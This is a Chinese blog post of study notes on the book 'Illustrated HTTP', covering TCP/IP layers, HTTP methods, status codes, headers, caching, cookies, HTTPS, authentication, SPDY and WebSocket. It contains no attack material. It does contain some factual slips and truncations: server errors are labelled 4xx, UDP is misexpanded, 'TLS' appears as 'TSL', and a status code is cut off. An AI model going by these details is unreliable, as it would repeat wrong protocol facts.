图解HTTP笔记

Shel1@

已于 2023-02-16 13:13:11 修改

阅读量542

点赞数 24

文章标签：网络 tcp/ip 网络协议 web安全

于 2023-02-15 20:25:19 首次发布

本文链接：https://blog.csdn.net/m0_73974640/article/details/129050092

版权

一了解Web及网络基础

1.1使用http协议访问web

Web 使用一种名为 HTTP（HyperText Transfer Protocol，超文本传输协议 1）的协议作为规范，完成从客户端到服务器端等一系列运作流程。而协议是指规则的约定。可以说，Web 是建立在 HTTP 协议上通信的。

1.2HTTP的诞生

介绍几个名人

1.2.1为知识共享而规划的web

1989年3月HTTP诞生

CERN（欧洲核子研究组织）的蒂姆 • 伯纳斯 - 李（Tim BernersLee）博士提出了一种能让远隔两地的研究者们共享知识的设想。

现在已提出了 3 项 WWW 构建技术，分别是：把 SGML（Standard Generalized Markup Language，标准通用标记语言）作为页面的文本标记语言的 HTML（HyperText Markup Language，超文本标记语言）；作为文档传递协议的 HTTP ；指定文档所在地址的 URL（Uniform 12 Resource Locator，统一资源定位符）

1.2.2web成长时代

1.3网络基础TCP/IP

网络（包括互联网）是在 TCP/IP 协议族的基础上运作的。 HTTP 是它内部的一个子集。

1.3.1TCP/IP协议族

1.3.2TCP/IP的分层管理

分层是重要的一点，可以分为四层分别是，应用层，传输层，网络层，书局联络层。

分层的好出就是不需要大范围的更改只把变动的地方更改就可以。

TCP/IP 协议族各层的作用如下。

应用层应用层决定了向用户提供应用服务时通信的活动。 TCP/IP 协议族内预存了各类通用的应用服务。比如，FTP（File Transfer Protocol，文件传输协议）和 DNS（Domain Name System，域名系统）服务就是其中两类。 HTTP 协议也处于该层。

传输层传输层对上层应用层，提供处于网络连接中的两台计算机之间的数据传输。在传输层有两个性质不同的协议：TCP（Transmission Control Protocol，传输控制协议）和 UDP（User Data Protocol，用户数据报协议）。

网络层（又名网络互连层）网络层用来处理在网络上流动的数据包。数据包是网络传输的最小数据单位。该层规定了通过怎样的路径（所谓的传输路线）到达对方计算机，并把数据包传送给对方。与对方计算机之间通过多台计算机或网络设备进行传输时，网络层所起的作用就是在众多的选项内选择一条传输路线。

链路层（又名数据链路层，网络接口层）用来处理连接网络的硬件部分。包括控制操作系统、硬件的设备驱动、NIC（Network Interface Card，网络适配器，即网卡），及光纤等物理可见部分（还包括连接器等一切传输媒介）。硬件上的范畴均在链路层的作用范围之内。

1.3.3TCP/IP通信传输流

利用 TCP/IP 协议族进行网络通信时，会通过分层顺序与对方进行通信。发送端从应用层往下走，接收端则往应用层往上走。

发送端在层与层之间传输数据时，每经过一层时必定会被打上一个该层所属的首部信息。反之，接收端在层与层传输数据时，每经过一层时会把对应的首部消去。这种把数据信息包装起来的做法称为封装（encapsulate）。

1.4与HTTP关系密切的协议：IP,TCP,DNS

1.4.1 负责传输的 IP 协议

“IP”其实是一种协议的名称。 IP 协议的作用是把各种数据包传送给对方。而要保证确实传送到对方那里，则需要满足各类条件。其中两个重要的条件是 IP 地址和 MAC 地址（Media Access Control Address）。 IP 地址指明了节点被分配到的地址，MAC 地址是指网卡所属的固定地址。IP 地址可以和 MAC 地址进行配对。IP 地址可变换，但 MAC 地址基本上不会更改。

1.5 负责域名解析的 DNS 服务

DNS（Domain Name System）服务是和 HTTP 协议一样位于应用层的协议。它提供域名到 IP 地址之间的解析服务。

DNS的诞生就是能让计算机更容易理解如下图

1.6 各种协议与 HTTP 协议的关系

1.7URI和URL

URI（统一资源标识符）URI 就是由某个协议方案表示的资源的定位标识符。协议方案是指访问资源所使用的协议类型名称。

URL（Uniform Resource Locator，统一资源定位符）

二、简单的HTTP协议

客户端：请求访问文本或图像等资源的一端
服务器端：提供资源响应的一端

2.1 HTTP协议规定，请求从客户端发出，最后服务器端响应该请求并返回

HTTP不对请求和响应之间的通信状态进行保存/持久化处理，是一种不保存状态，即无状态协议：为了更快地处理大量事务，确保协议的可伸缩性(后面引入Cookie做状态管理)，减少内存资源损耗

2.2 HTTP方法：

GET：获取资源(1.0/1.1)
POST：传输实体主体(1.0/1.1)
PUT：传输文件(自身不带验证机制，存在安全性问题，一般不会使用)(1.0/1.1)
HEAD：获取相应首部，作验证URI使用(1.0/1.1)
DELETE：删除文件(自身不带验证机制，存在安全性问题，一般不会使用)(1.0/1.1)
OPTIONS：询问支持的方法(1.1)
CONNECT：要求用隧道协议连接代理(1.1)
TRACE: 追踪路径(1.1)

2.3 持久连接

在HTTP协议的初始版本中，每进行一次HTTP通信就要断开一次TCP连接，会造成无畏的TCP连接和断开，增加通信量的开销(客户端与服务器端进行一次请求会经过建立TCP连接、HTTP请求与相应、断开TCP连接三个阶段)

为了解决上述问题，HTTP/1.1和一部分的HTTP/1.0想出了持久连接(HTTP keep-alive)：只要任意一端没有明确提出断开连接，则保持TCP连接状态(客户端与服务器端进行一次请求会经过建立TCP连接、第一个HTTP请求与相应、第二个HTTP请求与相应、第N个HTTP请求与相应、断开TCP连接三个阶段)

好处：减少了TCP连接的重复建立和断开所造成的额外开销，减轻了服务器端的负载

2.4 管线化

持久连接使得多数请求以管线化方式发送成为可能，在之前发送请求后需要等待并接收响应，才能发送下一个请求。管线化技术出现后，不用等待响应亦可直接发送下一个请求，即同时并行发送多个请求(客户端与服务器端进行一次请求会经过建立TCP连接、第一个HTTP请求、第二个HTTP请求、第N个HTTP请求、第一个HTTP响应、第二个HTTP响应、第N个HTTP响应、断开TCP连接三个阶段)

三、HTTP报文内的HTTP信息

四、返回结果的HTTP状态码

4.1 状态码的类别

1xx：信息性状态码接收的请求正在处理

2xx：成功状态码请求正常处理完毕

3xx：重定向状态码需要进行附加操作以完成请求

4xx：客户端错误状态码服务器无法处理请求

4xx：服务器错误状态吗服务器处理请求出错

4.2 常见状态码

记录的HTTP状态码有很多，在平时中常用的有以下：

200 OK (表示从客户端发来的请求在服务器端被正常处理了)

204 No Content (表示服务器接收的请求已成功处理，但返回的响应报文中不含实体的主体部分)

206 Partial Content (表示客户端进行了范围请求，服务器成功执行)

301 Moved Permanently (永久性重定向，表示请求的资源已被分配了新的URI，以后应使用新的)

302 Found (临时性重定向，表示请求的资源已被分配了新的URI，希望用户使用新的)

304 Not Modified (表示客户端发送附带条件的请求时，服务器端允许访问资源，但因未满足条件。协商缓存标志)

d Request (表示请求报文中存在语法错误)

401 Unauthorized (表示发送的请求需要有通过HTTP认证)

403 Forbidden (表示请求资源的访问被服务器拒绝)

404 Not Found (表示在服务器上无法找到请求的资源)

500 Internal Server Error (表示服务器端在执行请求时发生错误)

503 Service Unavailable (表示服务器暂时处于超负荷或正在进行停机中，无法处理请求)

五、HTTP首部

5.1 首部类型

HTTP首部字段起到传递额外重要信息的作用，会根据实际用途分为四种类型：

通用首部字段(请求报文和响应报文两方都会使用的首部)

请求首部字段

响应首部字段

实体首部字段(针对请求报文和响应报文的实体部分使用的首部)

5.2 首部定义

5.2.1 通用首部字段

Cache-Control 控制缓存的行为
Connection 逐跳首部、连接的管理
Date 创建报文的日期时间
Pragma 报文指令
Trailer 报文末端的首部一览
Transfer-Encoding 制定报文主体的传输编码方式
Upgrade 省级文其他协议
Via 代理服务器的相关信息
Warning 错误通知

5.2.2 请求首部字段

Accept 用户代理可处理的媒体类型
Accept-Charset 优先的字符集
Accept-Encoding 优先的内容编码
Accept-Language 优先的语言
Authorization web认证信息
Expect 期待服务器的特定行为
From 用户的电子邮箱地址
Host 请求资源所在服务器
if-Match 比较实体标记
if-Modified-Since 比较资源更新时间
if-None-Match 比较实体标记
If-Range 资源未更新时发送实体Byte的范围请求
If-Unmodified-Since 比较资源的更新时间
Max-Forwards 最大传输逐跳数
Proxy-Authorization 代理服务器要求客户端的认证信息
Range 实体的字节范围请求
Referer 对请求中URI的原始获取方
TE 传输编码的优先级
User-Agent HTTP客户端程序的信息

5.2.3 响应首部字段

Accept-Ranges 是否接受字节范围请求
Age 推算资源创建经过时间
ETag 资源的匹配信息
Location 令客户端重定向至指定URI
Proxy-Authenticate 代理服务器对客户端的认证信息
Retry-After 对在此发起请求的时机要求
Server HTTP服务器的安装信息
Vary 代理服务器缓存的管理信息
WWW-Authenticate 服务器对客户端的认证信息

5.2.4 实体首部字段

Allow 资源科支持的HTTP方法
Content-Encoding 实体主体适用的编码方式
Content-Language 实体主体的自然语言
Content-Length 实体主体的大小
Content-Location 代替对应资源的URI
Content-MD5 实体主体的报文摘要
Content-Range 实体主体的位置范围
Content-Type 实体主体的媒体类型
Expires 实体主体过期的日期时间
Last-Modified 资源的最后修改日期时间

了解就好，也记不住这么多配置字。

5.3 非HTTP/1.1首部字段

在HTTP协议通信交互中使用到的首部字段，不限于RFC2616中定义的47种首部字段，还有Cookie、Set-Cookie和Content-Disposition等在其他RFC中定义的首部字段，它们的使用频率也很高

5.4 部分首部字段的使用

5.4.1 Cache-Control (通用首部字段)

操作缓存的工作机制的重要字段，按请求和响应分类为：缓存请求指令：

-cache 强制想源服务器再次验证

no-store 不缓存请求或响应的任何内容

max-age 响应的最大Age

max-stale 接受已过期的响应

min-flesh 期望在指定时间内的响应仍有效

no-transform 代理不可更改媒体类型

only-if-cached 从缓存获取资源

cache-extension 新指令标记

缓存响应指令：

public 可向任意方提供相应的缓存

private 仅向特定用户返回响应

no-cache 缓存钱必须先确认其有效性

no-store 不缓存请求或响应的任何内容

no-transform 代理不可更改媒体类型

must-revalidate 可缓存但必须再向源服务器进行确认

proxy-revalidate 要求中间缓存服务器对缓存的响应有效性再进行确认

max-age 响应的最大Age

s-maxage 公共缓存服务器响应的最大Age值

cache-extension 新指令标记

相关配置内容较多，缓存配置使用，具体再查

5.4.2 Connection (通用首部字段)

字段具备如下两个作用：

控制不再转发给代理的首部字段
管理持久连接

Connection：不再转发的首部字段名 Connection： Close/Keep-Alive

HTTP/1.1 默认连接都是持久连接，当服务器端想明确断开连接时，会指定Connection的值为Close。在HTTP/1.1之前的HTTP版本的默认连接都是非持久连接，如果需要连续，需要指定Connection的值为Keep-Alive

5.4.3 Pragma (通用首部字段)

Pragma是HTTP/1.1之前版本的遗留字段，仅作为与HTTP/1.0的向后兼容而定义，作用和Cache-Control一样

5.4.4 Accept (请求首部字段)

Accept: text/html,application/xhtml+xml,application/xml,image/jpeg,image/png,video/mpeg,application/zip

5.4.5 Accept-Encoding (请求首部字段)

告知服务器用户代理支持的内容编码以及内容编码的优先级顺序 Accept-Encoding: gzip,deflate

5.4.6 If-Match (请求首部字段)

形如If-xxx这样的请求首部字段，都可以称为条件请求。服务器接收到附带条件的请求后，只有判断指定条件为真时，才会执行只有当If-Match的字段值和ETag值匹配一致时，服务器才会接受请求

5.4.7 If-Modified-Since (请求首部字段)

操作缓存的工作机制的重要字段，它会告知服务器若If-Modified-Since字段值早于资源的更新时间，则处理请求，返回更新后的资源+Last-Modified。若在指定时间之后，如果请求的资源没有更新过，则返回304Not Modified的响应

5.4.8 Range (请求首部字段)

请求获取指定范围的资源数据 Range： bytes=5001-10000

5.4.9 Accept-Ranges (响应首部字段)

告知客户端服务器是否能处理范围请求 Accept-Ranges：bytes/none

5.4.10 Etag (响应首部字段)

告诉客户端实体标识。它是一种可将资源以字符串形式做唯一性标识的方式，当资源更新时，ETag也会更新

5.4.11 Content-Encoding (实体首部字段)

告知客户端服务器对实体的主体部分选用的内容编码方法 Content-Encoding：gzip/compress/deflate/identity

5.4.12 Expires (实体首部字段)

告知接收方资源的失效日期。缓存服务器在接收到含有Expires的响应后，会以缓存来应答请求，在指定的时间之前，响应的副本会一直被保存。当超过指定的时间后，缓存服务器在请求发送过来时，会转向源服务器请求资源

5.4.13 Last-Modified (实体首部字段)

指明资源最终修改的时间

5.4.14 为Cookie服务的首部字段

Set-Cookie：服务器设置客户端
Cookie：客户端携带。

六 HTTP首部

HTTP请求报文

HTTP响应报文

6.1 首部字段

HTTP首部字段传递重要信息：传递额外重要信息，例：主体大小，所用的语言，认证信息等。

结构：// 首部字段名：字段值 Content-Type: text/html Keep-Alive: timeout=15, max=100

重复了会如何：根据浏览器处理不一致。可能只认第一个，可能只认最后一个。

4种HTTP首部字段类型：

通用首部字段：请求和响应双方都会使用。

请求首部字段：包含请求时特殊要求。

响应首部字段：响应的补充内容，也会要求客户端附加额外的内容。

实体首部字段：针对请求报文和响应报文的实体部分使用的首部，补充了更新时间等与实体有关的信息。

End-to-end首部和Hop-by-hop首部：缓存代理，非缓存代理。Connection Keep-A live Proxy -A uthenticate Proxy -A uthorization Trailer TE Transfer-Encoding Upgrade

End-to-end：分类在此类别中的首部会转发给请求/响应对应的最终接收目标，且必须保存在由缓存生成的响应中，并规定必须被转发。

Hop-by-hop：单次转发有效，会因通过缓存或代理而不再转发。除这8个首部之外，其他都属于端到端。

6.2 HTTP/1.1 通用首部字段

Cache-Control：能够控制缓存的行为。

s-maxage：功能与max-age相同，不同在于只适用于多位用户使用的公共缓存服务器。（也就是说，对于向同一用户重复返回响应的服务器来说，该指令无效，使用之后，忽略Expires首部字段及max-age指令）

max-age：Cache-Control:max-age=604800(s)

min-fresh：Cache-Control:min-fresh=60(s)，要求缓存服务器返回至少还未过指定时间的缓存资源。

max-stale=3600：即使过期，只要仍处于max-stale指定时间内，仍旧会被客户端接收。

only-if-cached：只要缓存，如果没有缓存返回504（Gateway Timeout）

must-revalidate：缓存服务器即将返回前必须确认缓存资源是否有效，忽略max-stale指令。

proxy-revalidate：要求服务器接收到客户端带有该指令的请求返回响应之前，必须再次校验。

no-transform：缓存无法改变实体主体类型（避免转码等）

Cache-Control扩展：Cache-Control:private, community="UCI" ，服务器不能理解就会直接忽略。

客户端：缓存时间数值比指定时间的数值更小，就接收缓存的资源；当指定max-age值为0，那么缓存服务器通常需要将请求转发给源服务器。（1.1优先max-age指令，1.0优先Expries）

客户端：表示不会接收缓存过的响应。

服务端：缓存服务器不能对资源进行缓存，以后也不会缓存服务器发出的资源有效性进行确认，切禁止对响应资源进行缓存操作。

public：表明其他用户也可以利用缓存

private：表面对特定的用户提供缓存服务，其他用户发来的请求不可用。

no-cache：防止从缓存中返回过期的资源

控制可执行缓存的对象的指令：no-store，当使用no-store指令时，暗示请求（和对应的响应）或响应中包含机密信息。因此，该指令规定缓存不能在本地存储或请求响应的任一部分。（no-cache不缓存过期资源，no-store才是真正不缓存）

制定缓存期限和认证的指令

Connection：

Connection:close ，结束关系。HTTP/1.1版本默认连接都是持久连接。客户端会在持久连接上连续发送请求。当服务器想明确断开连接时则指定close。

Connection:Keep-Alive，HTTP/1.1之前的版本默认都是非持久连接。为此想要在旧版本上持续连接，则需要制定Keep-Alive。

控制不再转发给代理的首部字段。 Connection: 不再转发的首部字段名

管理持久连接。

Date：表明创建HTTP报文的日期和时间。

// HTTP/1.1

Date :Tue ,03Jul 201204:40:59GMT

// 之前

Date :Tue ,03-Jul -1204:40:59GMT

// asctime

Date :Tue ,Jul 0304:40:592012

Pragma：是HTTP/1.1之前版本的历史遗留字段，仅作为与HTTP/1.0的向后兼容而定义。效果和Cache-Control:no-cache一样，但是HTTP/1.0不兼容，故Pragma为了达到同样效果并向后兼容。

Trailer(预告片)：事先说明报文主体后记录了哪些首部字段。

Transfer-Encoding：传输报文主体时采用的编码方式。（HTTP/1.1的传输编码方式仅对分块传输编码有效），Transfer-Encoding:chunked

Upgrade：用于检测HTTP协议及其他协议是否可以使用更高的版本进行通信，其参数值可以用来指定一个完全不同的通信协议。（效果仅限于客户端和邻斤服务器之间，因此使用Upgrade时，还需要额外指定Connection:Upgrade）。接收到Upgrade的请求，服务器可用101 Switching Protocols状态码作为响应返回。

Via：使用首部字段Via是为了追踪客户端与服务器之间的请求和响应报文的传输路径。通常会和TRACE方法一起使用。比如代理服务器接收到由TRACE方法发送过来的请求（Max-Forwards: 0），代理服务器不再转发，并把自己的信息附加到Via首部后，返回请求响应。

Warning：由（Retry-After）演变过来的。该首部通常会告知用户一些与缓存相关的问题警告。

6.3 请求首部字段

用于客户端往服务器发送请求报文中所使用的字段，用于补充请求的附加信息，客户端信息等。

Accept：用户代理能够处理的媒体类型(type/subtype)及优先级：

优先级：Accept: text/plain; q=0.3, text/html，q=来额外表示权重值，用分号(;)进行分隔。权重值q的范围是0-1，不指定默认q=1。

*/ *: 通配符

Accept-Charest：用户支持的字符集及字符集的优先级。

Accept-Encoding：用户代理支持的内容编码及优先级。

gzip

compress

identity

*：通配符

Accept-Language：种乎代理能够处理的语言集。

Authorization：告知用户代理的认证信息，在接收到返回401状态码后，把首部字段Authorization加入请求中。

Expect：告知服务器期望出现的某种特定行为。服务器无法理解客户端的期望作出回应而发生错误时，会返回状态码417。

From：告知服务器使用用户代理的用户的邮箱。（搜索引擎显示负责人的联系方式，也可能记录在User-Agent里）

Host：虚拟主机运行在同一个ip上，首字段加以区分域名。（必须包含在请求的首部字段）服务器未设定主机名则发送空值。

If-xxx首部字段，条件请求，服务器接收到附加条件后，判断指定条件为真时，才会执行请求。

If-Match：只有当If-Match的字段和Etag字段匹配一致，服务器才会接受请求。（可以指定通配符）

If-Modified-Since：

If-None-Match：与Etag值不一样时处理请求

If-Range：，如果不用If-Range也能达到效果，但是需要请求两次。

If-Unmodified-Since：与首部字段If-Modified-Since作用相反。

Max-Forwards：最大转发次数，当Max-Forwards为0时则不再进行转发，直接返回响应。用于检测客户端未知原因而造成的得不到响应。配合TRACK和OPTIONS使用。

Proxy-Authorization：与Authorization效果相同，不同在于质询发生在客户端和服务器之间。

Range：请求部分资源的范围。

Referer：只要查看Referer就会知道请求是从哪个web页面发起的。客户端一般都会发送Referer首部字段，但是直接在浏览器的地址栏输入URI时，出于安全性考虑时，也可以不发送该首部字段。

TE：告知服务器客户端能够处理响应的传输编码方式及优先级，和Accept-Encoding相似，不同在于用于传输编码。除此之外，还可以指定伴随trailer字段的分块传输编码的方式。应用后者时，只需要把trailers赋值给该字段。

User-Agent：传达创建请求的浏览器和用户代理名称等信息。

6.4 响应首部字段

服务器端向客户端返回响应报文中所使用的字段

Accept-Range：告知用户服务器是否能处理范围请求（可以：bytes／否则none）

Age：告诉客户端源服务器在多久前创建了响应。字段单位为秒，如果创建响应的为缓存服务器，则指缓存后的响应再次发起认证到认证完成的时间值。（代理创建响应时必须加上首部字段Age）

Etag：告知客户端的实体标志，资源更新，Etag的值也会更新。中英文所对应的资源是不同的，资源被缓存时，就会被分配唯一性标准。

强ETag：不管发生多么细微的变换，都会改变其值。

弱：发生根本改变时才更改ETag值，此时会在字段最开始处附加W/。

Location：将响应接收方引导至某个与请求URI位置不同的资源（配合3xx一起使用，提供重定向的URI）

Proxy-Authenticate：会把代理服务器所要求的认真信息发送给客户端。

Retry-After：告诉客户端应该在多久之后再次发送请求。（配合3xx和503 Service Unavailable使用），可以指定具体日期，也可以指定多少秒后。

Server：告知客户端当前服务器上安装的HTTP服务器应用软件的信息（可能包括版本号，启动的可选项）

Vary：源服务器给代理服务器的首部字段，仅对请求中含有相同Vary指定首部字段的请求返回缓存。

WWW-Authenticate：用于HTTP访问认证，它会告知客户端适用于访问请求URI所制定资源的认证方案（Basic和Digest）和带参数提示的质询。

6.5 实体首部字段

请求和响应报文实体中所使用的首部，用于补充内容的更新时间等实体相关的信息。

Allow：用于通知客户端能够支持Request-URI指定资源的所有HTTP方法。当接收到不支持的HTTP方法时，会以状态码405 Method Not Allowed作为响应返回。与此同时，还会把所有能支持的HTTP方法写入Allow返回。

Content-Encoding：告知客户端对实体主体部分选用的内容编码方式。

Content-Language：告知客户端实体使用的自然语言

Content-Length：主体部分大小，单位是字节。

Content-Location：表示的是报文主体返回资源对应的URI。

Content-MD5：客户端会对接收的报文主体执行相同的MD5算法，然后与首部字段Content-MD5的字段值比较。

Content-Range：针对范围请求，返回响应时使用该字段，告知客户端作为响应返回的实体的哪个部分符合范围请求。

Content-Type：实体主体内对象的媒体类型，和首部字段Accept一样。

Expires：将资源失效的日期告知缓存服务器。接收到以后，在Expires值指定时间之前，响应的副本会一直被保存。若超过，若有请求过来，会转向源服务器请求资源。（如果源服务器不希望代理服务器缓存资源，可把Expires字段内写入与Date相同的时间值）

Last-Modified：指明资源最终修改的时间（一般来说为Request-URI资源修改时间，但是使用CGI脚本进行动态数据处理时，值可能会发生改变）

6.6 为Cookie服务的首部字段

将数据写入客户计算机内，接着当用户访问该Web网站时，可通过通信方式取回之前发放的Cookie。（很多标准，并非RFC6265中任何一个，而是最广泛的网景公司制定的标准上进行扩展后的产物）

Set-Cookie：当服务器准备开始管理客户端的状态时，会事先告知各种信息。

NAME=VALUE：Cookie的名称和其值（必填）

expires=DATE：Cookie的有效期（不明确指定则默认为浏览器关闭前位置），有效期仅限于维持浏览器会话时间段内。服务器不能显示删除Cookie，只能覆盖。

path=PATH：将服务器上的文件目录作为Cookie的适用对象（默认为文档所在文件目录），限制发送范围的目录（有方法绕过，不抱安全机制效果的期待）

domain=域名：作为Cookie适用对象的域名（默认为创建Cookie的服务器域名），结尾匹配一致。example.com，则www.example.com和www2.example.com都可以发送Cookie。

Secure：仅在HTTPS安全通信时才会发送Cookie，即使域名一样也只有在HTTPS情况下才发生Cookie回收。

HttpOnly：Cookie不能被js脚本访问。

Cookie：告知服务器，当客户端想获得HTTP状态管理支持时，就会在请求中包含从服务器接收到的Cooke，接收到多个Cookie时，同样可以以多个Cookie形式发送。

6.7 其他首部字段

X-Frame-Options: DENY：属于HTTP响应首部，用于控制网站内容在其他Web网站的Frame标签内的显示问题。主要为了防止点击劫持攻击。

DENY：拒绝

SAMEORIGIN：仅同源域名下的页面匹配时许可。

X-XSS-Protection：属于响应首部，用于控制浏览器XSS防护机制的开关。

0：将XSS过滤设置成无效状态

1：将XSS过滤设置成有效状态

DNT：请求首部，Do Not Track，拒绝个人信息被收集，是表示拒绝被精确广告追踪的一种方法。

0：同意

1：拒绝

P3P（在线隐私偏好平台）：响应首部，可以让Web网站上的个人隐私编程一种仅供程序可理解的形式，以达到保护用户隐私的作用。

创建P3P隐私

保存在/w3c/p3p.xml

从P3P隐私中新建Compact policies后，输出到HTTP响应中。

七确保Web安全的HTTPS

7.1 HTTP缺点

通信使用明文，内容可能被窃听

通信的加密：HTTP协议中没有加密机制，但可以通过SSL（Secure Socket Layer安全套接层）或TSL（Transport Layer Security安全层传输协议）的组合使用，加密HTTP通信内容。用SSL建立安全通信线路之后，就可以在这条线路上进行HTTP通信了故称HTTPS（HTTP over Secur）。

内容的加密：把报文主体进行加密（内容仍有被篡改的风险）

TCP/IP协议族的工作机制，导致就算被加密，加密后的信息还是会被看见。

加密处理防止被窃听：

不验证通信方身份，因此可能遭遇伪装（不能验证真正的拥有资源方和真正的提出请求方）

任何人都可以发送请求

查明对手的证书

无法证明报文的完整性，所以有可能已遭篡改

接收到的内容可能有误（A传给123给B，B收到1234，但是B无法得知这个内容是否是A发出的那个数字。）——中间人攻击。

如何防止篡改：使用MD5或者SHA-1等散列值校验，以及用来确认文件的数字签名方法。需要用户本人亲自检查验证，而且即使这样也无法百分之百确保，因为PGP和MD5本身被改写的话。

7.2 HTTP+加密+认证+完整性保护=HTTPS

HTTPS是身披SSL外壳的HTTP

相互交换密钥的公开密钥加密技术：加密算法公开，密钥是保密的。

共享密钥加密的困境：加密解密用同一个密钥的方式称为共享密钥加密。

使用两把密钥的公开密钥加密，使用一对非对称的密钥。一把叫做私有密钥，一把叫做公有密钥。发送密文的一方使用对方的公钥进行加密，接收方使用自己的私钥进行解密，利用这种方式，不需要发送用来解密的私有密钥。

HTTPS采用混合加密机制：若密钥能够实现安全交换，那么有可能会考虑仅使用公开密钥加密来，但是公开密钥加密处理速度比共享密钥要慢。故：交换密钥环节使用公开密钥加密方式，之后建立通信交换报文阶段采用共享密钥加密。

证明公开密钥正确性的证书：

可证明组织真实性的EV SSL证书：基于国际标准的认证指导方针颁发的证书。其严格规定了对运营组织是否真实的确认方针。

用以确认客户端的客户端证书：银行安装证书，但是问题在于只能用于证明客户端实际存在，而不能用来证明用户本人的真实有效性。

认证机构信誉第一

HTTPS的安全通信机制：

SSL和TLS：TSL是以SSL为原型开发的协议。

SSL速度慢吗：

通信慢：网络负载可能会变成2到100倍

运算慢：在服务器和客户端都需要进行加密和解密的运算处理。（SSL加速器分担负载）

为什么不一直使用HTTPS：花销太大，仅对敏感信息使用HTTPS。

八确认访问用户身份的认证

某些Web页面只想让特定的人浏览

8.1 如何认证

用户提供登陆者本人才知道的信息，登陆人本人才会有的信息：

密码

动态令牌：本人持有的设备内显示的一次性密码

数字证书：终端持有的信息

生物认证：虹膜，指纹，面部识别

IC卡

HTTP使用的认证方式：

BASIC认证：基本认证

DIGEST认证：摘要认证

SSL客户端认证

FormBase认证（基于表单认证）

8.2 BASIC认证（HTTP/1.0）：

缺点：

安全等级不够

一般的浏览器无法实现认证注销操作

不灵活且不安全，故不经常使用

8.3 DIGEST 认证（HTTP/1.1）：

同样使用质询/响应的方式，但不会像BASIC认证那样直接发送明文密码。

步骤1：WWW-Authenticate包含质问响应方式认证所需单质询码。

- 包含realm和nonce这两个字段，nonce是一种每次随返回的401响应生成的随机字符串。

步骤2：Authenticate包含username，realm，nonce，uri和response的字段信息。realm和nonce是之前从服务器接收到的响应中的字段。

- uri即Resquest-URI，但由于转发所以值会被修改，所以会事先复制一份副本保存在uri。
- response叫做Request-Digest，放经过MD5运算后的密码字符串，形成响应码。

步骤3：服务器确认认证信息的正确性，认证通过后则返回包含Request-URI资源的响应。

DIGEST认证和BASIC认证一样，使用上不灵活，安全级别也不够，因此使用范围受限。

8.4 SSL客户端认证：

用户ID和密码只要两者内容正确，即可认证是本人的行为。但如果用户ID和密码被盗，就很可能被第三者冒充。SSL客户端认证可以避免该情况的发生。凭客户端认证，服务器可能确认访问是否来自己登录的客户端。

SSL客户端认证的认证步骤：1. 服务器发送Certificate Request报文，要求客户端提供客户端证书——>2. 客户端将证书以Client Certificate报文方式发送给服务器——>3. 服务器验证客户端证书验证通过后方可领取客户端单公开密钥，开始HTTPS加密通信。

SSL客户端认证采用双因素认证：

SSL客户端证书用来认证客户端计算机

密码用来确认这是本人行为

SSL客户端认证必要的费用：从认证机构购买客户端证书的费用，以及服务器运行者为保证自己搭建的认证机构安全运营所产生的费用。

8.5 基于表单认证：

客户端会向服务器上的web应用程序发送登录信息，按登录信息的验证结果认证。

认证多半基于表单认证：DIGEST和BASIC认证几乎不使用，SSL客户端认证代价太高，尚未普及。SSH和FTP协议合乎标准并且满足安全使用级别，因此这些协议的认证可以直接拿来使用。

Session管理及Cookie应用：规范尚未有定论，一般会使用Cookie来管理Session会话。

HTTPS传输用户ID和密码等信息

服务器会发放用以识别用户的session ID。通过验证从客户端发送过来的登录信息进行身份验证，然后把用户的认证状态与Session ID绑定后记录在服务器端。返回响应时，会在Set-Cookie内写入Session ID中。因此必须防止Session ID被盗。为了做到这点，Session ID应使用难以推测的字符串，服务器也要进行有效期管理，保证安全性，建议事先在Cookie内加上httponly属性。

客户端接收到从服务端发来的Session ID后，会将其作为Cookie保存在本地。下次向服务器发送请求时，会自动发送Cookie，所以Session ID也随之发送到服务器。

不仅表单认证登录过程没标准化，服务器如何保存用户提交的密码等登录信息也没有标准化。（一种安全的保存方法是，先利用给密码加盐的方式增加额外信息，再使用散列函数计算出散列值后保存。）

九基于HTTP的功能追加协议

功能不能满足时代发展，故出现很多基于HTTP协议的协议

9.1 消除HTTP瓶颈的SPDY

google发布SPDY目标解决HTTP的性能瓶颈，缩短Web页面的加载时间（50%）。

Facebook 和 Twitter这样的SNS网站上，为了尽可能实时地显示这些更新的内容，服务器上一有内容更新，就需要直接把那些内容反馈到客户端的界面上。如果使用HTTP，需要频繁地从客户端到服务端进行确认，如果服务器上没有内容更新，那么就会产生徒劳的通信。

一条连接上只可发送一个请求。

请求只能从客户端开始，客户端不可以接收除响应以外的指令

请求/响应首部未经压缩就发送，首部信息越多延迟越大。

发送冗长的首部，每次互相发送相同首部造成的浪费较多。

可任意选数据压缩格式，非强制压缩发送。

AJAX的解决方法：

Comet的解决方法：Comet会将响应置于挂起状态，当服务器端有内容更新时，再返回该响应。因此服务器一旦有更新，就可以立即反馈给客户端。虽然可以做到实时更新，但为了保留想有，一次连接的持续时间也变长了，也会消耗更多资源。扔未解决根本问题。

SPDY的目标：

实际运用状态不佳

只将单个域名的通信多路复用，因为SPDY基本上只是将单个域名的通信多路复用，当一个Web网站上使用多个域名下的资源，改善效果就会受限。

并非所有瓶颈问题都是因为HTTP问题，所以还需要其他方面的改善。

多路复用流：一个TCP连接，可以处理无限多个HTTP请求；

赋予请求优先级：解决因宽带低而导致响应变慢的问题。

压缩HTTP首部；

推送功能：支持服务器主动向客户端推送数据的功能。

服务器提示功能：服务器可以主动提示客户端请求所需的资源。客户端发现资源之前就可以获知资源的存在，因此在资源已缓存等情况下，可以避免发送不必要的请求。

设计与功能，在应用层与运输层之间通过新加会话层的形式运作。同时，考虑到安全性问题，SPDY规定通信中使用SSL。

使用SPDY后，HTTP协议额外获得以下功能：

SPDY消除Web瓶颈了吗

9.2 使用浏览器进行全双工通信WebSocket

问题在于通信若使用HTTP协议，就无法彻底解决瓶颈问题。

WebSocket的设计与功能：解决附带的缺陷引起的问题。

WebSocket协议：一旦服务器与客户端建立起该协议的通信，之后所有的通信都依靠这个专用协议进行。因为基于HTTP，因此发起方仍是客户端。

推送功能

减少通信量：连接就一直保持连接状态。和HTTP相比，不但每次连接时的总开销减少，由于WebSocket的首部信息很小，通信量也相应减少了。

握手-请求：为了实现WebSocket通信，需要用到HTTP的Upgrade首部字段，告知服务器通信协议发生改变，以达到握手的目的。

Sec-WebSocket-Key：记录握手过程中必不可少的键值

Sec-WebSocket-Protocol：使用的子协议（在连接分开使用时，定义那些连接的名称）

握手-响应：对于之前的请求，返回状态码101 Switching Protocols的响应。

Sec-WebSocket-Key由请求中的Key字段值生成。

成功连接后，通信时不再使用HTTP的数据帧，而采用WebSockets独立数据帧。

